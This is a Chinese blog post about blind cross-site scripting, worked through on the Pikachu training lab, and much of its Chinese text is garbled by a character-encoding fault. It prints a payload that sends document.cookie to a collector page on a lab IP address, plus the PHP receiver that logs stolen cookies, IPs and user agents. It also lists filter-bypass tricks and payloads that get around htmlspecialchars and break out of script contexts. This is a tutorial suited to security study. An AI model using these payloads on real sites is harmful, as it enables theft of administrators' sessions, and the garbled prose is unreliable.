XSS鐩叉墦

Posted 2021-02-19

鏍囩锛?a href='http://www.mamicode.com/so/1/special' title='special'>special   c_str   pad   鐩存帴   alc   address   rip   鐢ㄦ埛   

0x00锛歑SS鐩叉墦

绠€浠?/h4>

 

 

 灏藉彲鑳藉湴浜庝竴鍒囧彲鑳界殑鍦版柟鎻愪氦XSS璇彞锛屽彧瑕佸悗鍙扮鐞嗗憳鐪嬪埌鏌愪竴鏉¤鍙ワ紝姝よ鍙ュ氨鑳借鎵ц銆?br />鍙互鍐嶇暀瑷€鏉夸笂鐣欎笅鑾峰彇cookie鐨勪唬鐮侊紝鍙绠＄悊鍛樺湪鍚庡彴鐪嬪埌锛屽氨鑳借幏鍙栫鐞嗗憳鐨刢ookie銆?/p>

鍘熺悊灏辨槸浣犵粰鍓嶅彴鎻抪ayload锛屽彧瑕佸悗鍙扮鐞嗗憳娴忚杩囷紝js浠ｇ爜宸茬粡琚鐞嗗憳瑙﹀彂锛屼綘Xss骞冲彴灏变細鍙嶉缁欎綘淇℃伅銆?/p>

鑱旂郴骞冲彴 pikachu

 

 

 姝ょ珯鐐规槸 鑷繁鎺ユ敹cookie鐨勭珯鐐?/p>

payloads

绠€鍗曟祴璇曚竴涓?lt;script>alert(123)</script>

鐧婚檰鍚庡彴娴嬭瘯锛屼骇鐢熷脊绐?/p>

 

 

 

 

 

 鑾峰彇cookies payloads

<script>document.location=鈥榟ttp://192.168.2.211/pikachu-master/pkxss/xcookie/cookie.php?cookie=鈥?+ document.cookie;</script>

payload鐨勬剰鎬濆氨鏄紝鑾峰彇褰撳墠鐢ㄦ埛cookie锛屽苟浠ュ弬鏁扮殑鏂瑰紡鍙戦€佸埌http://192.168.2.211/pikachu-master/pkxss/xcookie/cookie.php

鏌ョ湅鍚庡彴鑾峰彇鐨勭粨鏋滐紝鑾峰彇admin鐢ㄦ埛鐨刢ookie

 

 

 cookie.php浠ｇ爜锛?/p>

<?php
include_once 鈥?./inc/config.inc.php鈥?span style="color: #000000;">;
include_once 鈥?./inc/mysql.inc.php鈥?span style="color: #000000;">;
$link=connect();

//杩欎釜鏄幏鍙朿ookie鐨刟pi椤甸潰

if(isset($_GET[鈥榗ookie鈥?span style="color: #000000;">])){
    $time=date(鈥榊-m-d g:i:s鈥?span style="color: #000000;">);
    $ipaddress=getenv (鈥楻EMOTE_ADDR鈥?span style="color: #000000;">);
    $cookie=$_GET[鈥榗ookie鈥?span style="color: #000000;">];
    $referer=$_SERVER[鈥楬TTP_REFERER鈥?span style="color: #000000;">];
    $useragent=$_SERVER[鈥楬TTP_USER_AGENT鈥?span style="color: #000000;">];
    $query="insert cookies(time,ipaddress,cookie,referer,useragent) 
    values(鈥?/span>$time鈥?鈥?span style="color: #800080;">$ipaddress鈥?鈥?span style="color: #800080;">$cookie鈥?鈥?span style="color: #800080;">$referer鈥?鈥?span style="color: #800080;">$useragent鈥?";
    $result=mysqli_query($link, $query);
}
header("Location:http://127.0.0.1/pikachu-master/index.php");//閲嶅畾鍚戝埌涓€涓彲淇＄殑缃戠珯锛屼緥濡倃ww.baidu.com

?>

 

瀛︿範閾炬帴锛?/p>

https://zhuanlan.zhihu.com/p/25697201

0x01锛歑SS缁曡繃

0.鍓嶇闄愬埗——鎶撳寘閲嶆斁/鐩存帴F12淇敼鍓嶇浠ｇ爜
1.澶у皬鍐?mdash;—<SCriPt>AleRt(test)</ScRipt>
2.鎷煎噾娉?mdash;—<scri<script>pt>alert(test)</scr<srcript>ipt>
3.娉ㄩ噴骞叉壈娉?mdash;—<scri<!--test-->pt>alert(test)</scr<!--test-->ipt>
4.缂栫爜娉?mdash;—瀵筆ayload杩涜html缂栫爜

0x02:htmlspecialchars()

鍙傝€冿細https://www.w3school.com.cn/php/func_string_htmlspecialchars.asp

https://blog.csdn.net/weixin_43716322/article/details/89480895

 

 

 

 htmlspecialchars()鍑芥暟榛樿鍙紪鐮佸弻寮曞彿锛屽綋寮€鍙戣€呮湭瀵瑰崟寮曞彿杩囨护鏃讹紝灏变細鍙兘瀵艰嚧XSS鐨勫彂鐢?涓嶄箙涔嬪墠杩樿窡鍒汉璇磋繖涓嚱鏁板緢鍘夊锛岃兘褰撲綇xss)

payload:

1鈥?onclick=鈥榓lert(1)鈥?/p>

 

 

href杈撳嚭

payloads:  javascript:alert(1)

 

js杈撳嚭

 

 payload:

</script><script>alert(1)</script>

Done!